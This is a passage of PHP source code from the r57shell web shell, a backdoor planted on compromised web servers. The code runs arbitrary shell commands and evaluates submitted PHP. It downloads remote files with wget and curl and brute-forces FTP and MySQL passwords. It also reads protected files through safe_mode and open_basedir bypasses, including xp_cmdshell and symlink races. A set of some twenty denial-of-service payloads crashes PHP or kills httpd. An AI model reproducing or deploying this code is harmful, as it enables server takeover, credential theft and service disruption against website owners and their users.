2451$_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
2452break;
2453case 'fetch':
2454$_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
2455break;
2456case 'lynx':
2457$_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
2458break;
2459case 'links':
2460$_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
2461break;
2462case 'GET':
2463$_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
2464break;
2465case 'curl':
2466$_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
2467break;
2468}
2469}
2470if(!empty($_POST['cmd']) &&(($_POST['cmd']=="ftp_file_up") ||($_POST['cmd']=="ftp_file_down")))
2471{
2472list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
2473if(empty($ftp_port)) {$ftp_port = 21;}
2474$connection = @ftp_connect ($ftp_server,$ftp_port,10);
2475if(!$connection) {err(3);}
2476else
2477{
2478if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) {err(4);}
2479else
2480{
2481if($_POST['cmd']=="ftp_file_down") {if(chop($_POST['loc_file'])==$dir) {$_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']);}@ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);}
2482if($_POST['cmd']=="ftp_file_up") {@ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);}
2483}
2484}
2485@ftp_close($connection);
2486$_POST['cmd'] = "";
2487}
2488if(!empty($_POST['cmd']) &&(($_POST['cmd']=="ftp_brute") ||($_POST['cmd']=="db_brute")))
2489{
2490if($_POST['cmd']=="ftp_brute"){
2491list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
2492if(empty($ftp_port)) {$ftp_port = 21;}
2493$connection = @ftp_connect ($ftp_server,$ftp_port,10);
2494}else if($_POST['cmd']=="db_brute"){
2495$connection = 1;
2496}
2497if(!$connection) {err(3);$_POST['cmd'] = "";}
2498else if(($_POST['brute_method']=='passwd') &&(!$users=get_users('/etc/passwd'))){echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>";$_POST['cmd'] = "";}
2499else if(($_POST['brute_method']=='dic') &&(!$users=get_users($_POST['dictionary']))){echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>";$_POST['cmd'] = "";}
2500if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);}
2501}
2502echo $table_up3;
2503if (empty($_POST['cmd']) &&!$safe_mode &&!$open_basedir) {$_POST['cmd']=(!$unix)?("dir"):("ls -lia");}
2504else if(empty($_POST['cmd']) &&($safe_mode ||$open_basedir)){$_POST['cmd']="safe_dir";}
2505echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
2506if($safe_mode ||$open_basedir)
2507{
2508switch($_POST['cmd'])
2509{
2510case 'safe_dir':
2511$d=@dir($dir);
2512if ($d)
2513{
2514while (false!==($file=$d->read()))
2515{
2516if ($file=="."||$file=="..") continue;
2517@clearstatcache();
2518@list ($dev,$inode,$inodep,$nlink,$uid,$gid,$inodev,$size,$atime,$mtime,$ctime,$bsize) = stat($file);
2519if(!$unix){
2520echo date("d.m.Y H:i",$mtime);
2521if(@is_dir($file)) echo " <DIR> ";else printf("% 7s ",$size);
2522}
2523else{
2524if(@function_exists('posix_getpwuid')){
2525$owner = @posix_getpwuid($uid);
2526$grgid = @posix_getgrgid($gid);
2527}else{$owner['name']=$grgid['name']='';}
2528echo $inode." ";
2529echo perms(@fileperms($file));
2530@printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
2531echo date("d.m.Y H:i ",$mtime);
2532}
2533echo "$file\n";
2534}
2535$d->close();
2536}
2537else if(@function_exists('glob'))
2538{
2539function eh($errno,$errstr,$errfile,$errline)
2540{
2541global $D,$c,$i;
2542preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/",$errstr,$o);
2543if($o){$D[$c] = $o[2];$c++;}
2544}
2545$error_reporting = @ini_get('error_reporting');
2546error_reporting(E_WARNING);
2547@ini_set("display_errors",1);
2548$root = "/";
2549if($dir) $root = $dir;
2550$c = 0;$D = array();
2551@set_error_handler("eh");
2552$chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
2553for($i=0;$i <strlen($chars);$i++)
2554{
2555$path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}";
2556$prevD = $D[count($D)-1];
2557@glob($path."*");
2558if($D[count($D)-1] != $prevD)
2559{
2560for($j=0;$j <strlen($chars);$j++)
2561{
2562$path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}";
2563$prevD2 = $D[count($D)-1];
2564@glob($path."*");
2565if($D[count($D)-1] != $prevD2)
2566{
2567for($p=0;$p <strlen($chars);$p++)
2568{
2569$path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
2570$prevD3 = $D[count($D)-1];
2571@glob($path."*");
2572if($D[count($D)-1] != $prevD3)
2573{
2574for($r=0;$r <strlen($chars);$r++)
2575{
2576$path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
2577@glob($path."*");
2578}
2579}
2580}
2581}
2582}
2583}
2584}
2585$D = array_unique($D);
2586foreach($D as $item) echo htmlspecialchars("{$item}")."\r\n";
2587error_reporting($error_reporting);
2588}
2589else echo $lang[$language.'_text29'];
2590break;
2591case 'test1':
2592$ci = @curl_init("file://".$_POST['test1_file']);
2593$cf = @curl_exec($ci);
2594echo htmlspecialchars($cf);
2595break;
2596case 'test2':
2597@include($_POST['test2_file']);
2598break;
2599case 'test3':
2600if(empty($_POST['test3_port'])) {$_POST['test3_port'] = "3306";}
2601$db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
2602if($db)
2603{
2604if(@mysql_select_db($_POST['test3_md'],$db))
2605{
2606@mysql_query("DROP TABLE IF EXISTS temp_r57_table");
2607@mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
2608@mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
2609$r = @mysql_query("SELECT * FROM temp_r57_table");
2610while(($r_sql = @mysql_fetch_array($r))) {echo @htmlspecialchars($r_sql[0])."\r\n";}
2611@mysql_query("DROP TABLE IF EXISTS temp_r57_table");
2612}
2613else echo "[-] ERROR! Can't select database";
2614@mysql_close($db);
2615}
2616else echo "[-] ERROR! Can't connect to mysql server";
2617break;
2618case 'test4':
2619if(empty($_POST['test4_port'])) {$_POST['test4_port'] = "1433";}
2620$db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
2621if($db)
2622{
2623if(@mssql_select_db($_POST['test4_md'],$db))
2624{
2625@mssql_query("drop table r57_temp_table",$db);
2626@mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
2627@mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
2628$res = mssql_query("select * from r57_temp_table",$db);
2629while(($row=@mssql_fetch_row($res)))
2630{
2631echo htmlspecialchars($row[0])."\r\n";
2632}
2633@mssql_query("drop table r57_temp_table",$db);
2634}
2635else echo "[-] ERROR! Can't select database";
2636@mssql_close($db);
2637}
2638else echo "[-] ERROR! Can't connect to MSSQL server";
2639break;
2640case 'test5':
2641$temp=tempnam($dir,"fname");
2642if (@file_exists($temp)) @unlink($temp);
2643$extra = "-C ".$_POST['test5_file']." -X $temp";
2644@mb_send_mail(NULL,NULL,NULL,NULL,$extra);
2645$str = moreread($temp);
2646echo htmlspecialchars($str);
2647@unlink($temp);
2648break;
2649case 'test6':
2650$stream = @imap_open('/etc/passwd',"","");
2651$dir_list = @imap_list($stream,trim($_POST['test6_file']),"*");
2652for ($i = 0;$i <count($dir_list);$i++) echo htmlspecialchars($dir_list[$i])."\r\n";
2653@imap_close($stream);
2654break;
2655case 'test7':
2656$stream = @imap_open($_POST['test7_file'],"","");
2657$str = @imap_body($stream,1);
2658echo htmlspecialchars($str);
2659@imap_close($stream);
2660break;
2661case 'test8':
2662$temp=@tempnam($_POST['test8_file2'],"copytemp");
2663$str = readzlib($_POST['test8_file1'],$temp);
2664echo htmlspecialchars($str);
2665@unlink($temp);
2666break;
2667case 'test9':
2668@ini_restore("safe_mode");
2669@ini_restore("open_basedir");
2670$str = moreread($_POST['test9_file']);
2671echo htmlspecialchars($str);
2672break;
2673case 'test10':
2674@ob_clean();
2675$error_reporting = @ini_get('error_reporting');
2676error_reporting(E_ALL ^E_NOTICE);
2677@ini_set("display_errors",1);
2678$str=fopen($_POST['test10_file'],"r");
2679while(!feof($str)){print htmlspecialchars(fgets($str));}
2680fclose($str);
2681error_reporting($error_reporting);
2682break;
2683case 'test11':
2684@ob_clean();
2685$temp = 'zip://'.$_POST['test11_file'];
2686$str = moreread($temp);
2687echo htmlspecialchars($str);
2688break;
2689case 'test12':
2690@ob_clean();
2691$temp = 'compress.bzip2://'.$_POST['test12_file'];
2692$str = moreread($temp);
2693echo htmlspecialchars($str);
2694break;
2695case 'test13':
2696@error_log($_POST['test13_file1'],3,"php://../../../../../../../../../../../".$_POST['test13_file2']);
2697echo $lang[$language.'_text61'];
2698break;
2699case 'test14':
2700@session_save_path($_POST['test14_file2']."\0;/tmp");
2701@session_start();
2702@$_SESSION[php]=$_POST['test14_file1'];
2703echo $lang[$language.'_text61'];
2704break;
2705case 'test15':
2706@readfile($_POST['test15_file1'],3,"php://../../../../../../../../../../../".$_POST['test15_file2']);
2707echo $lang[$language.'_text61'];
2708break;
2709case 'test16':
2710if (fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61'];
2711break;
2712case 'test17_1':
2713@unlink('symlinkread');
2714@symlink('a/a/a/a/a/a/','dummy');
2715@symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'],'symlinkread');
2716@unlink('dummy');
2717while (1)
2718{
2719@symlink('.','dummy');
2720@unlink('dummy');
2721}
2722break;
2723case 'test17_2':
2724$str='';
2725while (strlen($str) <3) {
2726$temp = 'symlinkread';
2727$str = moreread($temp);
2728if($str){@ob_clean();echo htmlspecialchars($str);}
2729}
2730break;
2731case 'test17_3':
2732$dir = $files = array();
2733if(@version_compare(@phpversion(),"5.0.0")>=0){
2734while (@count($dir) <3) {
2735$dir=@scandir('symlinkread');
2736if (@count($dir) >2) {@ob_clean();@print_r($dir);}
2737}
2738}
2739else {
2740while (@count($files) <3) {
2741$dh = @opendir('symlinkread');
2742while (false !== ($filename = @readdir($dh))) {
2743$files[] = $filename;
2744}
2745if(@count($files) >2){@ob_clean();@print_r($files);}
2746}
2747}
2748break;
2749}
2750}
2751if((!$safe_mode) &&($_POST['cmd']!="php_eval") &&($_POST['cmd']!="mysql_dump") &&($_POST['cmd']!="db_query") &&($_POST['cmd']!="ftp_brute") &&($_POST['cmd']!="db_brute")){
2752$cmd_rep = ex($_POST['cmd']);
2753if(!$unix) {echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n";}
2754else {echo @htmlspecialchars($cmd_rep)."\n";}}
2755switch($_POST['cmd'])
2756{
2757case 'dos1':
2758function a() {a();}a();
2759break;
2760case 'dos2':
2761@pack("d4294967297",2);
2762break;
2763case 'dos3':
2764$a = "a";@unserialize(@str_replace('1',2147483647,@serialize($a)));
2765break;
2766case 'dos4':
2767$t = array(1);while (1) {$a[] = &$t;};
2768break;
2769case 'dos5':
2770@dl("sqlite.so");$db = new SqliteDatabase("foo");
2771break;
2772case 'dos6':
2773preg_match('/(.(?!b))*/',@str_repeat("a",10000));
2774break;
2775case 'dos7':
2776@str_replace("A",str_repeat("B",65535),str_repeat("A",65538));
2777break;
2778case 'dos8':
2779@shell_exec("killall -11 httpd");
2780break;
2781case 'dos9':
2782function cx(){@tempnam("/www/","../../../../../../var/tmp/cx");cx();}cx();
2783break;
2784case 'dos10':
2785$a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0);
2786break;
2787case 'dos11':
2788@array_fill(1,123456789,"Infigo-IS");
2789break;
2790case 'dos12':
2791@substr_compare("A","A",12345678);
2792break;
2793case 'dos13':
2794@unserialize("a:2147483649:{");
2795break;
2796case 'dos14':
2797$Data = @str_ireplace("\n","<br>",$Data);
2798break;
2799case 'dos15':
2800function toUTF($x) {return chr(($x >>6) +192) .chr(($x &63) +128);}
2801$str1 = "";for($i=0;$i <64;$i++){$str1 .= toUTF(977);}
2802@htmlentities($str1,ENT_NOQUOTES,"UTF-8");
2803break;
2804case 'dos16':
2805$r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r,$e);
2806for ($i=0;$i<1000;$i++) $arr[$i]=array(array(""));
2807unset($arr[600]);@zip_entry_read($e,-1);unset($arr[601]);
2808break;
2809case 'dos17':
2810$z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
2811$y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
2812$x = "AQ ";
2813unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x);
2814break;
2815case 'dos18':
2816$MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY,0600);
2817if (!@msg_send ($msg_id,1,'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH',false,true,$msg_err))
2818echo "Msg not sent because $msg_err\n";
2819if (@msg_receive ($msg_id,1,$msg_type,0xffffffff,$_SESSION,false,0,$msg_error)) {
2820echo "$msg\n";
2821}else {echo "Received $msg_error fetching message\n";break;}
2822@msg_remove_queue ($msg_id);
2823break;
2824case 'dos19':
2825$url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd";@fopen($url,"r");
2826break;
2827case 'dos20':
2828$hashtable = str_repeat("A",39);
2829$hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08);
2830$hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99);
2831$str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
2832for ($i=0;$i<65535;$i++) {$str .= 'i:0;R:2;';}
2833$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
2834@unserialize($str);
2835break;
2836}
2837if ($_POST['cmd']=="php_eval"){
2838$eval = @str_replace("<?","",$_POST['php_eval']);
2839$eval = @str_replace("?>","",$eval);
2840@eval($eval);}
2841if ($_POST['cmd']=="ftp_brute")
2842{
2843$suc = 0;
2844if($_POST['brute_method']=='passwd'){
2845foreach($users as $user)
2846{
2847$connection = @ftp_connect($ftp_server,$ftp_port,10);
2848if(@ftp_login($connection,$user,$user)) {echo "[+] $user:$user - success\r\n";$suc++;}
2849else if(isset($_POST['reverse'])) {if(@ftp_login($connection,$user,strrev($user))) {echo "[+] $user:".strrev($user)." - success\r\n";$suc++;}}
2850@ftp_close($connection);
2851}
2852}else if(($_POST['brute_method']=='dic') &&isset($_POST['ftp_login'])){
2853foreach($users as $user)
2854{
2855$connection = @ftp_connect($ftp_server,$ftp_port,10);
2856if(@ftp_login($connection,$_POST['ftp_login'],$user)) {echo "[+] ".$_POST['ftp_login'].":$user - success\r\n";$suc++;}
2857@ftp_close($connection);
2858}
2859}
2860echo "\r\n-------------------------------------\r\n";
2861$count = count($users);
2862if(isset($_POST['reverse']) &&($_POST['brute_method']=='passwd')) {$count *= 2;}
2863echo $lang[$language.'_text97'].$count."\r\n";
2864echo $lang[$language.'_text98'].$suc."\r\n";
2865}
2866if ($_POST['cmd']=="db_brute")
2867{
2868$suc = 0;
2869if($_POST['brute_method']=='passwd'){
2870foreach($users as $user)
2871{
2872$sql = new my_sql();
2873$sql->db = $_POST['db'];
2874$sql->host = $_POST['db_server'];
2875$sql->port = $_POST['db_port'];
2876$sql->user = $user;
2877$sql->pass = $user;
2878if($sql->connect()) {echo "[+] $user:$user - success\r\n";$suc++;}
2879}
2880if(isset($_POST['reverse']))
2881{
2882foreach($users as $user)
2883{
2884$sql = new my_sql();
2885$sql->db = $_POST['db'];
2886$sql->host = $_POST['db_server'];
2887$sql->port = $_POST['db_port'];
2888$sql->user = $user;
2889$sql->pass = strrev($user);
2890if($sql->connect()) {echo "[+] $user:".strrev($user)." - success\r\n";$suc++;}
2891}
2892}
2893}else if(($_POST['brute_method']=='dic') &&isset($_POST['mysql_l'])){
2894foreach($users as $user)
2895{
2896$sql = new my_sql();
2897$sql->db = $_POST['db'];
2898$sql->host = $_POST['db_server'];
2899$sql->port = $_POST['db_port'];
2900$sql->user = $_POST['mysql_l'];
2901$sql->pass = $user;
2902if($sql->connect()) {echo "[+] ".$_POST['mysql_l'].":$user - success\r\n";$suc++;}
2903}
2904}
2905echo "\r\n-------------------------------------\r\n";
2906$count = count($users);
2907if(isset($_POST['reverse']) &&($_POST['brute_method']=='passwd')) {$count *= 2;}
2908echo $lang[$language.'_text97'].$count."\r\n";
2909echo $lang[$language.'_text98'].$suc."\r\n";
2910}
2911if ($_POST['cmd']=="mysql_dump")
2912{
2913if(isset($_POST['dif'])) {$fp = @fopen($_POST['dif_name'],"w");}
2914$sql = new my_sql();
2915$sql->db = $_POST['db'];
2916$sql->host = $_POST['db_server'];
2917$sql->port = $_POST['db_port'];
2918$sql->user = $_POST['mysql_l'];
2919$sql->pass = $_POST['mysql_p'];
2920$sql->base = $_POST['mysql_db'];
2921if(!$sql->connect()) {echo "[-] ERROR! Can't connect to SQL server";}
2922else if(!$sql->select_db()) {echo "[-] ERROR! Can't select database";}
2923else if(!$sql->dump($_POST['mysql_tbl'])) {echo "[-] ERROR! Can't create dump";}
2924else {
2925if(empty($_POST['dif'])) {foreach($sql->dump as $v) echo $v."\r\n";}
2926else if($fp ||@function_exists('file_put_contents')){foreach($sql->dump as $v){@fwrite($fp,$v."\r\n") or @fputs($fp,$v."\r\n") or @file_put_contents($_POST['dif_name'],$v."\r\n");}}
2927else {echo "[-] ERROR! Can't write in dump file";}
2928}
2929}
2930echo "</textarea></div>";
2931echo "</b>";
2932echo "</td></tr></table>";
2933echo "<table width=100% cellpadding=0 cellspacing=0>";
2934function div_title($title,$id)
2935{
2936return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
2937}
2938function div($id)
2939{
2940if(isset($_COOKIE[$id]) &&($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">';
2941$divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38');
2942if(empty($_COOKIE[$id]) &&@in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">';
2943return '<div id="'.$id.'">';
2944}
2945if(!$safe_mode){
2946echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
2947echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
2948echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
2949echo $te.'</div>'.$table_end1.$fe;
2950}
2951else{
2952echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
2953echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
2954echo $te.'</div>'.$table_end1.$fe;
2955}
2956echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
2957echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
2958echo $te.'</div>'.$table_end1.$fe;
2959if($safe_mode ||$open_basedir){
2960echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
2961echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
2962echo $te.'</div>'.$table_end1.$fe;
2963}
2964if($unix &&@function_exists('touch')){
2965echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts;
2966echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($dir."/r57shell.php")))
2967.ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>"
2968.ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):(""))));
2969echo sr(15,"<b> or set Day".$arrow."</b>",
2970'
2971<select name="day" size="1">
2972<option value="01">1</option>
2973<option value="02">2</option>
2974<option value="03">3</option>
2975<option value="04">4</option>
2976<option value="05">5</option>
2977<option value="06">6</option>
2978<option value="07">7</option>
2979<option value="08">8</option>
2980<option value="09">9</option>
2981<option value="10">10</option>
2982<option value="11">11</option>
2983<option value="12">12</option>
2984<option value="13">13</option>
2985<option value="14">14</option>
2986<option value="15">15</option>
2987<option value="16">16</option>
2988<option value="17">17</option>
2989<option value="18">18</option>
2990<option value="19">19</option>
2991<option value="20">20</option>
2992<option value="21">21</option>
2993<option value="22">22</option>
2994<option value="23">23</option>
2995<option value="24">24</option>
2996<option value="25">25</option>
2997<option value="26">26</option>
2998<option value="27">27</option>
2999<option value="28">28</option>
3000<option value="29">29</option>
3001<option value="30">30</option>
3002<option value="31">31</option>
3003</select>'
3004.ws(4)."<b>Month".$arrow."</b>"
3005.'
3006<select name="month" size="1">
3007<option value="January">January</option>
3008<option value="February">February</option>
3009<option value="March">March</option>
3010<option value="April">April</option>
3011<option value="May">May</option>
3012<option value="June">June</option>
3013<option value="July">July</option>
3014<option value="August">August</option>
3015<option value="September">September</option>
3016<option value="October">October</option>
3017<option value="November">November</option>
3018<option value="December">December</option>
3019</select>'
3020.ws(4)."<b>Year".$arrow."</b>"
3021.'
3022<select name="year" size="1">
3023<option value="1998">1998</option>
3024<option value="1999">1999</option>
3025<option value="2000">2000</option>
3026<option value="2001">2001</option>
3027<option value="2002">2002</option>
3028<option value="2003">2003</option>
3029<option value="2004">2004</option>
3030<option value="2005">2005</option>
3031<option value="2006">2006</option>
3032<option value="2006">2007</option>
3033<option value="2006">2008</option>
3034<option value="2006">2009</option>
3035<option value="2006">2010</option>
3036</select>'
3037.ws(4)."<b>Hour".$arrow."</b>"
3038.'
3039<select name="chasi" size="1">
3040<option value="01">01</option>
3041<option value="02">02</option>
3042<option value="03">03</option>
3043<option value="04">04</option>
3044<option value="05">05</option>
3045<option value="06">06</option>
3046<option value="07">07</option>
3047<option value="08">08</option>
3048<option value="09">09</option>
3049<option value="10">10</option>
3050<option value="11">11</option>
3051<option value="12">12</option>
3052<option value="13">13</option>
3053<option value="14">14</option>
3054<option value="15">15</option>
3055<option value="16">16</option>
3056<option value="17">17</option>
3057<option value="18">18</option>
3058<option value="19">19</option>
3059<option value="20">20</option>
3060<option value="21">21</option>
3061<option value="22">22</option>
3062<option value="23">23</option>
3063<option value="24">24</option>
3064</select>'
3065.ws(4)."<b>Minute".$arrow."</b>"
3066.'
3067<select name="minutes" size="1">
3068<option value="01">1</option>
3069<option value="02">2</option>
3070<option value="03">3</option>
3071<option value="04">4</option>
3072<option value="05">5</option>
3073<option value="06">6</option>
3074<option value="07">7</option>
3075<option value="08">8</option>
3076<option value="09">9</option>
3077<option value="10">10</option>
3078<option value="11">11</option>
3079<option value="12">12</option>
3080<option value="13">13</option>
3081<option value="14">14</option>
3082<option value="15">15</option>
3083<option value="16">16</option>
3084<option value="17">17</option>
3085<option value="18">18</option>
3086<option value="19">19</option>
3087<option value="20">20</option>
3088<option value="21">21</option>
3089<option value="22">22</option>
3090<option value="23">23</option>
3091<option value="24">24</option>
3092<option value="25">25</option>
3093<option value="26">26</option>
3094<option value="27">27</option>
3095<option value="28">28</option>
3096<option value="29">29</option>
3097<option value="30">30</option>
3098<option value="31">31</option>
3099<option value="32">32</option>
3100<option value="33">33</option>
3101<option value="34">34</option>
3102<option value="35">35</option>
3103<option value="36">36</option>
3104<option value="37">37</option>
3105<option value="38">38</option>
3106<option value="39">39</option>
3107<option value="40">40</option>
3108<option value="41">41</option>
3109<option value="42">42</option>
3110<option value="43">43</option>
3111<option value="44">44</option>
3112<option value="45">45</option>
3113<option value="46">46</option>
3114<option value="47">47</option>
3115<option value="48">48</option>
3116<option value="49">49</option>
3117<option value="50">50</option>
3118<option value="51">51</option>
3119<option value="52">52</option>
3120<option value="53">53</option>
3121<option value="54">54</option>
3122<option value="55">55</option>
3123<option value="56">56</option>
3124<option value="57">57</option>
3125<option value="58">58</option>
3126<option value="59">59</option>
3127</select>'
3128.ws(4)."<b>Second".$arrow."</b>"
3129.'
3130<select name="second" size="1">
3131<option value="01">1</option>
3132<option value="02">2</option>
3133<option value="03">3</option>
3134<option value="04">4</option>
3135<option value="05">5</option>
3136<option value="06">6</option>
3137<option value="07">7</option>
3138<option value="08">8</option>
3139<option value="09">9</option>
3140<option value="10">10</option>
3141<option value="11">11</option>
3142<option value="12">12</option>
3143<option value="13">13</option>
3144<option value="14">14</option>
3145<option value="15">15</option>
3146<option value="16">16</option>
3147<option value="17">17</option>
3148<option value="18">18</option>
3149<option value="19">19</option>
3150<option value="20">20</option>
3151<option value="21">21</option>
3152<option value="22">22</option>
3153<option value="23">23</option>
3154<option value="24">24</option>
3155<option value="25">25</option>
3156<option value="26">26</option>
3157<option value="27">27</option>
3158<option value="28">28</option>
3159<option value="29">29</option>
3160<option value="30">30</option>
3161<option value="31">31</option>
3162<option value="32">32</option>
3163<option value="33">33</option>
3164<option value="34">34</option>
3165<option value="35">35</option>
3166<option value="36">36</option>
3167<option value="37">37</option>
3168<option value="38">38</option>
3169<option value="39">39</option>
3170<option value="40">40</option>
3171<option value="41">41</option>
3172<option value="42">42</option>
3173<option value="43">43</option>
3174<option value="44">44</option>
3175<option value="45">45</option>
3176<option value="46">46</option>
3177<option value="47">47</option>
3178<option value="48">48</option>
3179<option value="49">49</option>
3180<option value="50">50</option>
3181<option value="51">51</option>
3182<option value="52">52</option>
3183<option value="53">53</option>
3184<option value="54">54</option>
3185<option value="55">55</option>
3186<option value="56">56</option>
3187<option value="57">57</option>
3188<option value="58">58</option>
3189<option value="59">59</option>
3190</select>'
3191.in('hidden','cmd',0,'touch')
3192.in('hidden','dir',0,$dir)
3193.ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
3194echo $te.'</div>'.$table_end1.$fe;
3195}
3196$select='';
3197if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";}
3198if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";}
3199if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";}
3200if($unix &&$select){
3201echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts;
3202echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($dir."/r57shell.php"))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
3203echo $te.'</div>'.$table_end1.$fe;
3204}
3205if(!$safe_mode){
3206$aliases2 = '';
3207foreach ($aliases as $alias_name=>$alias_cmd)
3208{
3209$aliases2 .= "<option>$alias_name</option>";
3210}
3211echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id7').$table_up2.div('id7').$ts;
